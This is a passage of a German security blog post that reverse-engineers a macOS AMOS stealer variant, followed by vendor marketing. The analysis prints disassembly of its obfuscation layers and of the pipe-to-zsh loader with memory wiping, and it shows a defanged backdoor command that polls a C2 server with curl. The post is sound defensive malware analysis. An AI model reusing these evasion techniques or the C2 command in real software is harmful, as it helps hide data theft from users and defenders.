-",[1706,3907,3908],{"style":2976},"0x7fb91be3",[1706,3910,3911],{"style":2941},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[1706,3914,3249],{"style":2976},";\n  }\n  ",[1706,3917,3005],{"style":2951}," iVar4;\n}\n",[814,3920,3921],{},"Der ARM64-Assembly ersetzt die Multiplikation durch ein Fused Multiply-Add:",[2045,3923,3924],{"style":2477},[2479,3925,3928],{"className":3926,"code":3927,"language":1813},[2482],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[2459,3929,3927],{"__ignoreMap":1062},[814,3931,3932],{},"Das bedeutet, dass selbst ein Vergleich zweier Strings innerhalb der Binary keinen Branch erzeugt, den ein Debugger sauber auf String-Ebene abfangen kann, sondern nur auf Hash-Ebene.",[2444,3934],{},[1684,3936,3938],{"id":3937},"layer-5-duale-custom-stream-cipher-instanzen","Layer 5: Duale Custom-Stream-Cipher-Instanzen",[814,3940,2609],{},[814,3942,3943,3944,3947],{},"An dieser Stelle wird die Obfuskierungsarchitektur ungewöhnlich. In der Binary laufen nicht eine, sondern ",[973,3945,3946],{},"zwei separate Cipher-Instanzen",", jede mit einer anderen hartcodierten Lookup-Tabelle und einem anderen Startzähler. Beide verwenden dieselbe Algorithmusstruktur, erzeugen aber unterschiedliche Ausgabe-Alphabete für verschiedene Teile der Payload-Pipeline.",[814,3949,3950,3216,3953,3130,3956,3959],{},[973,3951,3952],{},"Instanz A",[2459,3954,3955],{},"FUN_10007ab34",[2459,3957,3958],{},"0x10007ab34",":",[2045,3961,3962],{"style":2477},[2937,3963,3964,3967,3968,3774,3971,3973,3974,3463,3976,3978,3979,3981,3982,3463,3984,3986,3987,3989,3990,3463,3992,3994,3995,3997,3998,4001,4002,4004,4005,4007],{},[1706,3965,3966],{"style":2941},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[1706,3969,3970],{"style":2976},"0x4c",[1706,3972,3238],{"style":2951}," {\n  bVar2 = *(",[1706,3975,3625],{"style":2951},[1706,3977,3168],{"style":2951},")local_e0 +\n          ((",[1706,3980,2993],{"style":2951},")(*(",[1706,3983,3625],{"style":2951},[1706,3985,3168],{"style":2951},")local_c8 + uVar5) ^ uVar6) & ",[1706,3988,3634],{"style":2976},"));\n  *(",[1706,3991,3625],{"style":2951},[1706,3993,3168],{"style":2951},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[1706,3996,2963],{"style":2951},")uVar5 + (uVar6 ^ bVar2);  ",[1706,3999,4000],{"style":2941},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[1706,4003,3249],{"style":2976},";\n} ",[1706,4006,3322],{"style":2951}," (uVar7 != uVar5);\n",[814,4009,4010,3216,4013,3130,4016,3959],{},[973,4011,4012],{},"Instanz B",[2459,4014,4015],{},"FUN_10007a7e0",[2459,4017,4018],{},"0x10007a7e0",[2045,4020,4021],{"style":2477},[2937,4022,4023,3967,4026,3774,4029,3973,4031,3463,4033,4035,4036,3981,4038,3463,4040,4042,4043,3989,4045,3463,4047,3994,4049,3997,4051,4001,4054,4004,4056,4007],{},[1706,4024,4025],{"style":2941},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[1706,4027,4028],{"style":2976},"0x9f",[1706,4030,3238],{"style":2951},[1706,4032,3625],{"style":2951},[1706,4034,3168],{"style":2951},")local_c0 +\n          ((",[1706,4037,2993],{"style":2951},[1706,4039,3625],{"style":2951},[1706,4041,3168],{"style":2951},")local_a8 + uVar5) ^ uVar6) & ",[1706,4044,3634],{"style":2976},[1706,4046,3625],{"style":2951},[1706,4048,3168],{"style":2951},[1706,4050,2963],{"style":2951},[1706,4052,4053],{"style":2941},"// identical counter update formula",[1706,4055,3249],{"style":2976},[1706,4057,3322],{"style":2951},[814,4059,4060,4061,4063,4064,4066],{},"Der Algorithmus ist strukturell identisch, aber der Startzähler unterscheidet sich (",[2459,4062,3970],{}," vs. ",[2459,4065,4028],{},") und die Lookup-Tabellen liegen an verschiedenen Speicheradressen. Instanz A wird aus Zustand 11 der Zustandsmaschine aufgerufen, um das Kodierungsalphabet für den ersten Payload-Pfad zu erzeugen. Instanz B wird aus Zustand 6 aufgerufen, um das Alphabet für den Decode des großen Shell-Skript-Payloads zu erzeugen.",[814,4068,4069,4070,4073,4074,4077,4078,4081],{},"Präzise formuliert: Es handelt sich um eine ",[973,4071,4072],{},"Substitutionschiffre mit zählerabhängigem Index",". Jedes Ausgabebyte ist ein Tabellen-Lookup, bei dem der Index ",[2459,4075,4076],{},"(input_byte XOR counter) & 0xFF"," ist. Der Zähler aktualisiert sich nach jedem Byte als ",[2459,4079,4080],{},"counter = (i + (counter XOR output)) & 0xFF",", was bedeutet, dass jedes Ausgabebyte die Bestimmung des nächsten Lookup-Index beeinflusst. Das erzeugt eine Abhängigkeitskette über die gesamte Ausgabesequenz: Byte N lässt sich nicht entschlüsseln, ohne die Bytes 0 bis N-1 korrekt entschlüsselt zu haben. Partielle Entschlüsselung oder Fehleranalyse werden dadurch erheblich schwieriger.",[814,4083,4084],{},"Keine der Instanzen ist Standard-RC4. Es gibt keine S-Box-Initialisierungsphase, keine S-Box-Swap-Operation. Die Lookup-Tabellen sind statische, zur Kompilierzeit eingebettete Konstanten.",[2444,4086],{},[1684,4088,4090],{"id":4089},"layer-6-runtime-xor-mit-exit-code-abhängigem-schlüssel","Layer 6: Runtime-XOR mit Exit-Code-abhängigem Schlüssel",[814,4092,2609],{},[814,4094,4095,4096,4099],{},"Die letzte und analytisch anspruchsvollste Schicht wendet eine In-Place-XOR-Transformation auf den Stage-2-Payload an. Der XOR-Schlüssel ist nicht hartcodiert, sondern wird zur Laufzeit aus dem Exit-Code der ",[973,4097,4098],{},"ersten Shell-Payload-Ausführung"," abgeleitet, und ist damit durch statische Analyse prinzipiell nicht bestimmbar. Die Binary muss tatsächlich ausgeführt werden und das erste Shell-Skript bis zum Ende laufen, bevor der Schlüssel überhaupt existiert.",[814,4101,4102],{},"Die Schlüsselableitungssequenz im ARM64-State-Machine-Dispatcher:",[2045,4104,4105],{"style":2477},[2479,4106,4109],{"className":4107,"code":4108,"language":1813},[2482],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[2459,4110,4108],{"__ignoreMap":1062},[814,4112,4113],{},"Der XOR-Loop, der den Stage-2-Payload verarbeitet:",[2045,4115,4116],{"style":2477},[2479,4117,4120],{"className":4118,"code":4119,"language":1813},[2482],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[2459,4121,4119],{"__ignoreMap":1062},[814,4123,4124,4125,4128,4129,4132,4133,4135],{},"Der Schlüssel ist ein 16-Bit-Wert, der aus dem Exit-Status-Byte des ersten Shell-Payloads abgeleitet, mit ",[2459,4126,4127],{},"0x7f0"," multipliziert und zum aktuellen Wert des Basiszählerregisters ",[2459,4130,4131],{},"w26"," der Zustandsmaschine addiert wird. Die Multiplikationskonstante ",[2459,4134,4127],{}," bewirkt, dass ein Einzelbit-Unterschied im Exit-Code einen völlig anderen Schlüssel erzeugt. Es gibt keine ausnutzbare Kontinuität zwischen benachbarten Schlüsselwerten.",[814,4137,4138],{},"Ohne die Binary in einer kontrollierten Umgebung auszuführen und den genauen Exit-Code des ersten Shell-Payloads aufzuzeichnen, bleibt der Stage-2-Payload für die statische Analyse dauerhaft undurchsichtig. Das war die schwierigste Hürde der gesamten Analyse.",[2444,4140],{},[809,4142,4144],{"id":4143},"shell-ausführung-pipes-statt-argumente-und-simd-xor","Shell-Ausführung: Pipes statt Argumente, und SIMD-XOR",[814,4146,2471],{},[814,4148,4149,4150,3130,4153,4156],{},"Die Shell-Ausführungsfunktion ",[2459,4151,4152],{},"FUN_10000091c",[2459,4154,4155],{},"0x10000091c"," ist die architektonisch interessanteste Komponente der Binary. Hier läuft alles zusammen: der dekodierte Payload, der obfuskierte Befehlsname und das explizite Anti-Forensik-Design. Jede Designentscheidung in dieser Funktion verfolgt einen spezifischen Evasionszweck.",[1684,4158,4160],{"id":4159},"schritt-1-der-befehlsname-erscheint-nie-im-klartext","Schritt 1: Der Befehlsname erscheint nie im Klartext",[814,4162,2609],{},[814,4164,4165,4168,4169,4172,4173,4176,4177,4180],{},[2459,4166,4167],{},"/bin/zsh"," existiert nirgendwo in der Binary als Klartext. Im ",[2459,4170,4171],{},"__cstring","-Abschnitt bei ",[2459,4174,4175],{},"0x1007bb5c8"," liegt der String als obfuskierte Bytes ",[2459,4178,4179],{},"\\x01LG@\\x01T]F",". Die Dekodierung erfolgt zur Laufzeit über eine einzelne XOR-Operation, direkt im ARM64-Assembly verifizierbar:",[2045,4182,4183],{"style":2477},[2479,4184,4187],{"className":4185,"code":4186,"language":1813},[2482],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[2459,4188,4186],{"__ignoreMap":1062},[814,4190,4191,4192,4195,4196,4198,4199,4202],{},"Der XOR-Schlüssel ist ",[2459,4193,4194],{},"0x2e",", der ASCII-Wert von ",[2459,4197,3711],{}," (Punkt). Die Dekodierung geschieht in einer einzigen ",[2459,4200,4201],{},"eor v0.8B, v0.8B, v1.8B","-Instruktion, einem ARM64-NEON-Vektorbefehl, der alle 8 Bytes gleichzeitig XOR-verknüpft. Eine SIMD-Instruktion für einen einfachen 8-Byte-Decode zu verwenden ist ungewöhnlich und hat zwei Effekte: schneller als eine Byte-für-Byte-Schleife, und das erzeugte Instruktionsmuster unterscheidet sich grundlegend von skalaren Decode-Schleifen, auf die Signatur-Matching-Tools trainiert sind.",[814,4204,4205,4206,3216,4209,3216,4212,3216,4215,4218,4219,4222],{},"Die Verifikation ist einfach: ",[2459,4207,4208],{},"0x01 XOR 0x2e = 0x2f = /",[2459,4210,4211],{},"0x4c XOR 0x2e = 0x62 = b",[2459,4213,4214],{},"0x47 XOR 0x2e = 0x69 = i",[2459,4216,4217],{},"0x40 XOR 0x2e = 0x6e = n",", was in den ersten vier Bytes ",[2459,4220,4221],{},"/bin"," ergibt.",[1684,4224,4226],{"id":4225},"schritt-2-die-pipe-architektur","Schritt 2: Die Pipe-Architektur",[814,4228,2609],{},[814,4230,4231],{},"Nach dem Dekodieren des Befehlsnamens legt die Funktion eine OS-Pipe an und forkt:",[2045,4233,4234],{"style":2477},[2479,4235,4238],{"className":4236,"code":4237,"language":1813},[2482],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[2459,4239,4237],{"__ignoreMap":1062},[814,4241,4242],{},"Im Child-Prozess:",[2045,4244,4245],{"style":2477},[2479,4246,4249],{"className":4247,"code":4248,"language":1813},[2482],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[2459,4250,4248],{"__ignoreMap":1062},[814,4252,4253,4254,4257,4258,4261,4262,4264],{},"Der Child-Prozess ersetzt seinen Standard-Input durch das Lese-Ende der Pipe und startet ",[2459,4255,4256],{},"/bin/zsh -s",". Im ",[2459,4259,4260],{},"-s","-Modus liest die Shell Befehle von stdin. Für Process-Monitoring-Tools erscheint dieser Prozess als ",[2459,4263,4256],{}," ohne Argumente, nicht zu unterscheiden von einer legitimen interaktiven Shell-Session.",[1684,4266,4268],{"id":4267},"schritt-3-chunk-writes-variabler-größe","Schritt 3: Chunk-Writes variabler Größe",[814,4270,2609],{},[814,4272,4273],{},"Der Parent-Prozess schreibt den entschlüsselten Payload in bewusst variierenden Chunk-Größen an das Schreib-Ende der Pipe:",[2045,4275,4276],{"style":2477},[2479,4277,4280],{"className":4278,"code":4279,"language":1813},[2482],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[2459,4281,4279],{"__ignoreMap":1062},[814,4283,4284,4285,4288,4289,4292,4293,4296,4297,4300],{},"Die Chunk-Größenformel ",[2459,4286,4287],{},"(remaining_length % 192) + 64"," erzeugt Werte zwischen 64 und 255 Byte pro Write-Aufruf, abhängig von der verbleibenden Payload-Länge. Das variable Write-Muster ist in Kernel-Event-Tracing-Tools wie ",[2459,4290,4291],{},"ktrace"," oder ",[2459,4294,4295],{},"dtrace"," sichtbar, erzeugt aber keine erkennbare Festgröße-Signatur. Jede Ausführung desselben Payloads produziert eine andere Sequenz von ",[2459,4298,4299],{},"write()","-Syscall-Größen.",[814,4302,4303,4304,4306],{},"Das 1-Mikrosekunden-",[2459,4305,3012],{}," zwischen den Chunks verfolgt einen zweiten Zweck: Es gibt die CPU zwischen den Schreibvorgängen frei, hält die CPU-Auslastung flach und vermeidet eine plötzliche Spitze, die eine verhaltensbasierte EDR-Regel als anomales Burst-I/O markieren könnte.",[1684,4308,4310],{"id":4309},"schritt-4-sofortige-speicherbereinigung","Schritt 4: Sofortige Speicherbereinigung",[814,4312,2609],{},[2045,4314,4315],{"style":2477},[2479,4316,4319],{"className":4317,"code":4318,"language":1813},[2482],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[2459,4320,4318],{"__ignoreMap":1062},[814,4322,3372,4323,4326],{},[2459,4324,4325],{},"_bzero()","-Aufruf nullt den gesamten entschlüsselten Payload-Buffer unmittelbar nach dem letzten Schreibvorgang in die Pipe. Kein Zeitfenster, nicht einmal eine Mikrosekunde, in der der entschlüsselte Payload nach Abschluss der Ausführung noch im Speicher läge. Ein Live-Memory-Dump, der direkt nach Rückkehr dieser Funktion erstellt wird, findet nur Nullen, wo der Payload war.",[814,4328,4329,4330,4333],{},"Das wird als ",[973,4331,4332],{},"Zero-after-use"," bezeichnet, dieselbe Technik, die hochsichere kryptografische Bibliotheken einsetzen, damit Schlüsselmaterial nicht im Speicher verbleibt. Dass diese Technik in Commodity-Malware auftaucht, ist ungewöhnlich und lässt auf einen Entwickler mit Security-Engineering-Hintergrund schließen.",[1684,4335,4337],{"id":4336},"die-vollständige-ausführungssequenz","Die vollständige Ausführungssequenz:",[814,4339,2609],{},[2045,4341,4342],{"style":2477},[2479,4343,4346],{"className":4344,"code":4345,"language":1813},[2482],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[2459,4347,4345],{"__ignoreMap":1062},[809,4349,4351],{"id":4350},"die-import-tabelle-als-waffe","Die Import-Tabelle als Waffe",[814,4353,2471],{},[814,4355,4356],{},"Die vollständige Import-Tabelle dieser Binary:",[2045,4358,4359],{"style":2477},[2479,4360,4363],{"className":4361,"code":4362,"language":1813},[2482],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[2459,4364,4362],{"__ignoreMap":1062},[814,4366,4367],{},"Insgesamt 27 Symbole. Was fehlt, ist mindestens so aufschlussreich wie was vorhanden ist.",[1684,4369,4371],{"id":4370},"abwesend-netzwerk","Abwesend: Netzwerk",[814,4373,2609],{},[2045,4375,4376],{"style":2477},[2479,4377,4380],{"className":4378,"code":4379,"language":1813},[2482],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[2459,4381,4379],{"__ignoreMap":1062},[1684,4383,4385],{"id":4384},"abwesend-dateisystem","Abwesend: Dateisystem",[814,4387,2609],{},[2045,4389,4390],{"style":2477},[2479,4391,4394],{"className":4392,"code":4393,"language":1813},[2482],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[2459,4395,4393],{"__ignoreMap":1062},[1684,4397,4399],{"id":4398},"abwesend-prozess-introspektion","Abwesend: Prozess-Introspektion",[814,4401,2609],{},[2045,4403,4404],{"style":2477},[2479,4405,4408],{"className":4406,"code":4407,"language":1813},[2482],"getpid      getuid      getenv      sysctl\n",[2459,4409,4407],{"__ignoreMap":1062},[1684,4411,4413],{"id":4412},"abwesend-kryptografie","Abwesend: Kryptografie",[814,4415,2471],{},[2045,4417,4418],{"style":2477},[2479,4419,4422],{"className":4420,"code":4421,"language":1813},[2482],"CCCrypt     SecItemAdd  SecKeychainFind\n",[2459,4423,4421],{"__ignoreMap":1062},[814,4425,4426,4427,3216,4430,4433,4434,3216,4437,4440],{},"Bei einem traditionellen Malware-Sample erwartet man Netzwerk-Imports (",[2459,4428,4429],{},"socket",[2459,4431,4432],{},"connect",") oder Datei-Imports (",[2459,4435,4436],{},"fopen",[2459,4438,4439],{},"write","). Diese Binary hat keinen einzigen. Für einen Standard-Scanner sieht sie aus wie ein harmloser Prozess-Launcher, und das ist so geplant: eine bewusste Architekturentscheidung, die statische Analysetools ins Leere laufen lässt.",[814,4442,1894,4443,4445],{},[2459,4444,2816],{},"-Binary führt den Diebstahl nicht selbst durch. Ihr einziger Zweck ist es, den eigentlichen bösartigen Payload, ein stark obfuskiertes AppleScript, abzusetzen und auszuführen. Ein EDR oder AV, das nach bösartigen Binaries sucht, sieht hier einen Loader ohne Netzwerk- oder Datei-I/O und stuft ihn möglicherweise als sauber ein, ohne zu erkennen, dass die Binary ein spezialisiertes Zustellsystem für einen High-Level-Skript-Payload ist.",[2444,4447],{},[1870,4449,4451],{"id":4450},"die-backdoor","Die Backdoor",[814,4453,816],{},[814,4455,4456,4457,4460],{},"Der Incident endete nicht nach der initialen Kompromittierung. Microsoft Defender-Telemetrie zeigte einen Prozess, der von ",[2459,4458,4459],{},"/Users/\u003Credacted>/.mainhelper"," aus lief und einen externen Server abfragte:",[2045,4462,4463],{"style":2477},[2479,4464,4466],{"className":2678,"code":4465,"language":2680,"meta":1062,"style":1062},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[2459,4467,4468],{"__ignoreMap":1062},[1706,4469,4470,4473,4475],{"class":2523,"line":2524},[1706,4471,4472],{"class":2687},"sh",[1706,4474,2692],{"class":2691},[1706,4476,4477],{"class":2705}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[814,4479,4480],{},"Der Base64-String dekodierte sich zu einer 16-Byte-Geräte-UUID, dem eindeutigen Identifier, den die C2-Infrastruktur des Angreifers diesem Gerät am Tag der Erstinfektion zugewiesen hatte.",[814,4482,1894,4483,4486,4487,4490,4491,4493],{},[2459,4484,4485],{},".mainhelper","-Binary (SHA-256: ",[2459,4488,4489],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") war am Tag des Incidents durch den osascript-Dropper via ",[2459,4492,2688],{}," installiert worden.",[2444,4495],{},[1870,4497,4499],{"id":4498},"die-stärke-des-kollektiven-schilds-unsere-shared-threat-intelligence-plattform","Die Stärke des kollektiven Schilds: Unsere Shared-Threat-Intelligence-Plattform",[814,4501,816],{},[814,4503,4504],{},"Wenn in unserem SOC ein Alert ausgelöst wird, beginnt die Uhr nicht nur für den betroffenen Kunden zu laufen, sondern für jede Organisation unter dem glueckkanja-Schutzschild. Diese Untersuchung einer undokumentierten AMOS-Variante macht deutlich, was die Intelligence Gap in der Praxis bedeutet: ein gefährliches Zeitfenster, in dem klassische Anbieter blind sind, weil sie die Bedrohung noch nicht gesehen haben.",[814,4506,4507],{},"Hier zeigt unsere proprietäre Shared Threat Intelligence Platform ihren Wert, entwickelt exklusiv für glueckkanja-CSOC-Kunden. Wir warten nicht auf Branchen-Updates, wir erzeugen sie. Während unsere Analysten noch die letzten Schichten des ARM64-Assembly demontierten, verteilte unsere Automated Orchestration Engine bereits die extrahierten Indikatoren über unser gesamtes Ökosystem. Das erzeugt Herd-Immunität: Was an einem einzigen Endpoint entdeckt wird, ist innerhalb von Minuten eine blockierte Bedrohung für jede Organisation unter unserem Schutz.",[814,4509,4510],{},"Reaktive Sicherheit funktioniert nicht gegen Bedrohungen, die gezielt durch die Lücken konventioneller Abwehrmechanismen schlüpfen. Die Antwort liegt in der Verbindung menschlicher Expertise mit einer Architektur, die dieses Wissen sofort und skaliert einsetzt. Durch unser Shared-Intelligence-Modell kehrt sich der Zeitvorteil des Angreifers um: Unsere Kunden sind geschützt, bevor die Bedrohung von der Branche überhaupt erkannt wird.",[1680,4512,4513,4518,4521,4524],{},[814,4514,4515],{},[973,4516,4517],{},"Hinweis zum Datenschutz",[814,4519,4520],{},"Identifizierende Informationen wurden in dieser Veröffentlichung anonymisiert. Spezifische technische Details, Indikatoren und Zeitstempel können leicht verändert worden sein, um den laufenden Schutz der betroffenen Umgebung zu gewährleisten, ohne die technische Integrität der Analyse zu beeinträchtigen.",[814,4522,4523],{},"Die technischen Analysen und Indicators of Compromise (IOCs) in diesem Bericht dienen ausschließlich der Information und Weiterbildung. Sie werden nach bestem Wissen bereitgestellt. glueckkanja AG übernimmt keine ausdrücklichen oder impliziten Garantien hinsichtlich Vollständigkeit oder Genauigkeit und haftet nicht für Schäden, Verluste oder Sicherheitsvorfälle, die aus der Verwendung der hier geteilten Informationen, Regeln oder Signaturen entstehen. Wir empfehlen, alle Indikatoren und Regeln vor dem Einsatz in einer kontrollierten Umgebung zu validieren.",[814,4525,4526],{},"Beschriebene Indikatoren und Techniken können sich mit bekannten Malware-Familien überschneiden und sind nicht exklusiv einer einzelnen Kampagne zuzuordnen.",[4528,4529,4530],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":1062,"searchDepth":1063,"depth":1063,"links":4532},[4533,4534,4535,4536,4543,4544,4545,4546,4554,4561],{"id":2467,"depth":1063,"text":2468},{"id":2505,"depth":1063,"text":2506},{"id":2564,"depth":1063,"text":2565},{"id":2596,"depth":1063,"text":2597,"children":4537},[4538,4539,4540,4541,4542],{"id":2605,"depth":1765,"text":2606},{"id":2620,"depth":1765,"text":2621},{"id":2634,"depth":1765,"text":2635},{"id":2643,"depth":1765,"text":2644},{"id":2660,"depth":1765,"text":2661},{"id":2823,"depth":1063,"text":2824},{"id":2912,"depth":1063,"text":2913},{"id":3027,"depth":1063,"text":3028},{"id":3098,"depth":1063,"text":3099,"children":4547},[4548,4549,4550,4551,4552,4553],{"id":3113,"depth":1765,"text":3114},{"id":3402,"depth":1765,"text":3403},{"id":3657,"depth":1765,"text":3658},{"id":3850,"depth":1765,"text":3851},{"id":3937,"depth":1765,"text":3938},{"id":4089,"depth":1765,"text":4090},{"id":4143,"depth":1063,"text":4144,"children":4555},[4556,4557,4558,4559,4560],{"id":4159,"depth":1765,"text":4160},{"id":4225,"depth":1765,"text":4226},{"id":4267,"depth":1765,"text":4268},{"id":4309,"depth":1765,"text":4310},{"id":4336,"depth":1765,"text":4337},{"id":4350,"depth":1063,"text":4351,"children":4562},[4563,4564,4565,4566],{"id":4370,"depth":1765,"text":4371},{"id":4384,"depth":1765,"text":4385},{"id":4398,"depth":1765,"text":4399},{"id":4412,"depth":1765,"text":4413},{"lang":4,"seoTitle":4568,"titleClass":1077,"date":4569,"categories":4570,"blogtitlepic":4571,"socialimg":4572,"customExcerpt":4573,"keywords":4574,"maxContent":511,"asideNav":4575,"footer":4590,"contactInContent":4591,"published":511,"hreflang":4619},"AMOS-Stealer-Variante: Reverse Engineering einer unbekannten macOS-Malware","2026-04-10",[373],"head-amos-stealer.png","/blog/heads/head-amos-stealer.png","Eine bisher undokumentierte AMOS-Stealer-Variante kompromittierte einen macOS-Endpoint. Keine bekannten Hashes, keine C2-Daten in öffentlichen Datenbanken. Unser SOC demontierte sechs Obfuskierungsschichten, extrahierte alle Indikatoren und verteilte den Schutz an alle SOC-Kunden innerhalb von Stunden, noch bevor die Branche das Sample überhaupt gesehen hatte.","AMOS Stealer, macOS Malware, Reverse Engineering, Malware-Analyse, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-Sicherheit, Stealer-Malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":4576},[4577,4580,4582,4585,4587],{"href":4578,"text":4579},"#der-vorfall-ein-unbekanntes-ioc-szenario","Der Vorfall",{"href":4581,"text":2468},"#stage-1-sandbox-pruefungen",{"href":4583,"text":4584},"#stage-2-reverse-engineering-der-helper-binary","Stage 2: Binary-Analyse",{"href":4586,"text":4451},"#die-backdoor",{"href":4588,"text":4589},"#die-staerke-des-kollektiven-schilds-unsere-shared-threat-intelligence-plattform","Shared Threat Intelligence",{"noMargin":511},{"quote":511,"infos":4592},{"bgColor":1780,"headline":4593,"subline":4594,"level":809,"textStyling":1784,"flush":1785,"person":4595,"form":4597},"Kontakt aufnehmen","Wollt ihr wissen, wie unsere Shared Threat Intelligence Platform euch vor unbekannten Malware-Varianten schützt, noch bevor die Branche 